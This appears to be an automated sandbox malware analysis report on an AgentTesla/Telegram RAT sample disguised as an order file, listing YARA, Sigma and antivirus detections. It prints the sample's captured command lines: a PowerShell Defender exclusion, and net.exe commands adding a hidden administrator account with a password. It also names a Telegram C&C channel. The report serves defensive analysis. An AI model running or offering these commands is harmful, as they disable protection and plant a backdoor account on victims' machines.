00000030.00000002.927142303.000000000478D000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000030.00000002.927142303.000000000478D000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000030.00000002.927142303.000000000478D000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000030.00000002.927142303.000000000478D000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000026.00000002.895927015.0000000005330000.00000004.00020000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000026.00000002.895927015.0000000005330000.00000004.00020000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: #NEW ORDER FOR JANUARY 2022.exe PID: 6588	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: #NEW ORDER FOR JANUARY 2022.exe PID: 6588	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: #NEW ORDER FOR JANUARY 2022.exe PID: 6588	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: #NEW ORDER FOR JANUARY 2022.exe PID: 6588	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: aspnet_regbrowsers.exe PID: 7068	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: aspnet_regbrowsers.exe PID: 7068	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: aspnet_regbrowsers.exe PID: 7068	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: svchost.exe PID: 4876	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: svchost.exe PID: 4876	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: svchost.exe PID: 4876	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: svchost.exe PID: 4876	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: svchost.exe PID: 6712	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: svchost.exe PID: 6712	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: svchost.exe PID: 6712	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: svchost.exe PID: 6712	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: aspnet_regbrowsers.exe PID: 4588	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: aspnet_regbrowsers.exe PID: 4588	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: aspnet_regbrowsers.exe PID: 4588	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 156 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.#NEW ORDER FOR JANUARY 2022.exe.42c5920.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.42c5920.2.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
32.2.svchost.exe.470db20.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
32.2.svchost.exe.470db20.2.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
31.0.aspnet_regbrowsers.exe.400000.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
31.0.aspnet_regbrowsers.exe.400000.1.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
32.2.svchost.exe.5f89510.6.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
32.2.svchost.exe.5f89510.6.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
37.2.aspnet_regbrowsers.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
37.2.aspnet_regbrowsers.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.42a5900.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.42a5900.1.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
31.0.aspnet_regbrowsers.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
31.0.aspnet_regbrowsers.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
32.2.svchost.exe.46edb00.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
32.2.svchost.exe.46edb00.1.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
37.0.aspnet_regbrowsers.exe.400000.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
37.0.aspnet_regbrowsers.exe.400000.2.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
31.0.aspnet_regbrowsers.exe.400000.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
31.0.aspnet_regbrowsers.exe.400000.4.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.5a90000.7.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.5a90000.7.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.5a90000.7.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.5a90000.7.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
36.2.svchost.exe.6330000.5.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
36.2.svchost.exe.6330000.5.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
32.2.svchost.exe.5f70000.5.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
32.2.svchost.exe.5f70000.5.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
31.0.aspnet_regbrowsers.exe.400000.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
31.0.aspnet_regbrowsers.exe.400000.2.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
32.2.svchost.exe.5f70000.5.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
32.2.svchost.exe.5f70000.5.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.42c5920.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.42c5920.2.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
37.0.aspnet_regbrowsers.exe.400000.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
37.0.aspnet_regbrowsers.exe.400000.3.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
31.0.aspnet_regbrowsers.exe.400000.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
31.0.aspnet_regbrowsers.exe.400000.3.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
36.2.svchost.exe.4aadb00.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
36.2.svchost.exe.4aadb00.1.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
36.2.svchost.exe.4aedb20.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
36.2.svchost.exe.4aedb20.2.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
31.2.aspnet_regbrowsers.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
31.2.aspnet_regbrowsers.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
37.0.aspnet_regbrowsers.exe.400000.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
37.0.aspnet_regbrowsers.exe.400000.1.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
37.0.aspnet_regbrowsers.exe.400000.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
37.0.aspnet_regbrowsers.exe.400000.4.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.4305940.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.4305940.5.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
32.2.svchost.exe.474db40.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
32.2.svchost.exe.474db40.3.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
36.2.svchost.exe.4aadb00.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
36.2.svchost.exe.4aadb00.1.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
36.2.svchost.exe.6349510.4.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
36.2.svchost.exe.6349510.4.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.5aa9510.6.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.5aa9510.6.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
37.0.aspnet_regbrowsers.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
37.0.aspnet_regbrowsers.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
32.2.svchost.exe.470db20.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
32.2.svchost.exe.470db20.2.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
36.2.svchost.exe.4aedb20.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
36.2.svchost.exe.4aedb20.2.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
32.2.svchost.exe.474db40.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
32.2.svchost.exe.474db40.3.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.3.#NEW ORDER FOR JANUARY 2022.exe.4eab090.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
36.2.svchost.exe.6330000.5.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
36.2.svchost.exe.6330000.5.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.3.#NEW ORDER FOR JANUARY 2022.exe.4e74670.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.4416ba0.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.4416ba0.3.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.4416ba0.3.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.4416ba0.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.4305940.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.4305940.5.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.4305940.5.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0.2.#NEW ORDER FOR JANUARY 2022.exe.4305940.5.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 73 entries

Sigma Overview

System Summary:

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Show sources

Source: Process started

Author: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth, Christian Burkard: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" , ParentImage: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe, ParentProcessId: 6852, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 4204

Sigma detected: Powershell Defender Exclusion

Show sources

Source: Process started

Author: Florian Roth: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" -Force, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" , ParentImage: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe, ParentProcessId: 6588, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" -Force, ProcessId: 6684

Sigma detected: Hurricane Panda Activity

Show sources

Source: Process started

Author: Florian Roth: Data: Command: "C:\Windows\system32\net.exe" localgroup administrators ADMIN~1 /add, CommandLine: "C:\Windows\system32\net.exe" localgroup administrators ADMIN~1 /add, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" , ParentImage: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe, ParentProcessId: 6588, ProcessCommandLine: "C:\Windows\system32\net.exe" localgroup administrators ADMIN~1 /add, ProcessId: 5664

Sigma detected: Net.exe User Account Creation

Show sources

Source: Process started

Author: Endgame, JHasenbusch (adapted to Sigma for oscd.community): Data: Command: "C:\Windows\system32\net.exe" user ADMIN~1 SECRET@1234 /add, CommandLine: "C:\Windows\system32\net.exe" user ADMIN~1 SECRET@1234 /add, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" , ParentImage: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe, ParentProcessId: 6588, ProcessCommandLine: "C:\Windows\system32\net.exe" user ADMIN~1 SECRET@1234 /add, ProcessId: 3604

Sigma detected: Net.exe Execution

Show sources

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: "C:\Windows\system32\net.exe" user ADMIN~1 SECRET@1234 /add, CommandLine: "C:\Windows\system32\net.exe" user ADMIN~1 SECRET@1234 /add, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" , ParentImage: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe, ParentProcessId: 6588, ProcessCommandLine: "C:\Windows\system32\net.exe" user ADMIN~1 SECRET@1234 /add, ProcessId: 3604

Sigma detected: Possible Applocker Bypass

Show sources

Source: Process started

Author: juju4: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" , ParentImage: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe, ParentProcessId: 6852, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 4204

Sigma detected: Group Modification Logging

Show sources

Source: Event Logs

Author: Alexandr Yampolskyi, SOC Prime: Data: EventID: 4728, Source: Microsoft-Windows-Security-Auditing, data 0: -, data 1: S-1-5-21-3853321935-2125563209-4053062332-1003, data 2: None, data 3: computer, data 4: S-1-5-21-3853321935-2125563209-4053062332-513, data 5: S-1-5-21-3853321935-2125563209-4053062332-1002, data 6: user, data 7: computer, data 8: 0x2005f, data 9: -

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" -Force, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" , ParentImage: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe, ParentProcessId: 6588, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" -Force, ProcessId: 6684

Sigma detected: T1086 PowerShell Execution

Show sources

Source: Pipe created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132866083503977576.6684.DefaultAppDomain.powershell

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: #NEW ORDER FOR JANUARY 2022.exe

ReversingLabs: Detection: 18%

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe

ReversingLabs: Detection: 18%

Source: 37.2.aspnet_regbrowsers.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8
Source: 31.0.aspnet_regbrowsers.exe.400000.4.unpack	Avira: Label: TR/Spy.Gen8
Source: 31.0.aspnet_regbrowsers.exe.400000.1.unpack	Avira: Label: TR/Spy.Gen8
Source: 31.0.aspnet_regbrowsers.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8
Source: 37.0.aspnet_regbrowsers.exe.400000.2.unpack	Avira: Label: TR/Spy.Gen8
Source: 31.0.aspnet_regbrowsers.exe.400000.2.unpack	Avira: Label: TR/Spy.Gen8
Source: 37.0.aspnet_regbrowsers.exe.400000.3.unpack	Avira: Label: TR/Spy.Gen8
Source: 31.0.aspnet_regbrowsers.exe.400000.3.unpack	Avira: Label: TR/Spy.Gen8
Source: 31.2.aspnet_regbrowsers.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8
Source: 37.0.aspnet_regbrowsers.exe.400000.1.unpack	Avira: Label: TR/Spy.Gen8
Source: 37.0.aspnet_regbrowsers.exe.400000.4.unpack	Avira: Label: TR/Spy.Gen8
Source: 37.0.aspnet_regbrowsers.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8

Exploits:

Yara detected UAC Bypass using CMSTP

Show sources

Source: Yara match	File source: 32.2.svchost.exe.5f89510.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.5a90000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.5a90000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.svchost.exe.6330000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.svchost.exe.5f70000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.svchost.exe.5f70000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.svchost.exe.6349510.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.5aa9510.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.svchost.exe.6330000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.4416ba0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.4305940.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000026.00000003.795978697.0000000005A52000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.929093994.0000000006280000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.927387694.00000000049D1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.778887336.00000000046B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.737999019.0000000005A90000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000003.850266618.0000000006E02000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.850912152.0000000006330000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.786901859.0000000005F70000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.814234215.0000000006432000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.920418875.0000000005C10000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.756169106.0000000006B42000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.916893319.0000000004381000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.911408277.000000000413D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.735522789.00000000067C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.871462494.00000000038F1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.706917679.00000000062D2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.775543622.00000000043E1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.927142303.000000000478D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.895927015.0000000005330000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: #NEW ORDER FOR JANUARY 2022.exe PID: 6588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 4876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 6712, type: MEMORYSTR

Source: #NEW ORDER FOR JANUARY 2022.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: #NEW ORDER FOR JANUARY 2022.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

Source:	Binary string: aspnet_regbrowsers.pdbp source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.730764637.00000000036ED000.00000004.00000001.sdmp
Source:	Binary string: aspnet_regbrowsers.pdbp??? \|?_CorExeMainmscoree.dll?% @ source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp, svchost.exe, 00000020.00000002.779987071.000000000474D000.00000004.00000001.sdmp
Source:	Binary string: ???Oy??.pdbError: CoCreateInstance(IID_ISymUnmanagedWriter) returns %X source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp
Source:	Binary string: ComSvcConfig.pdb?x source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp
Source:	Binary string: aspnet_regbrowsers.pdb source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.730764637.00000000036ED000.00000004.00000001.sdmp
Source:	Binary string: ilasm.pdb source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp
Source:	Binary string: E:\A\_work\940\s\obj\Editor\IntellisenseDef\Release\net472\Microsoft.VisualStudio.Language.Intellisense.pdb source: svchost.exe, svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp
Source:	Binary string: ComSvcConfig.pdb source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp

Networking:

Uses the Telegram API (likely for C&C communication)

Show sources

Source: unknown

DNS query: name: api.telegram.org

Source: aspnet_regbrowsers.exe, 0000001F.00000002.755508340.00000000034D1000.00000004.00000001.sdmp, aspnet_regbrowsers.exe, 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: aspnet_regbrowsers.exe, 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: aspnet_regbrowsers.exe, 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp	String found in binary or memory: http://YsLVkm.com
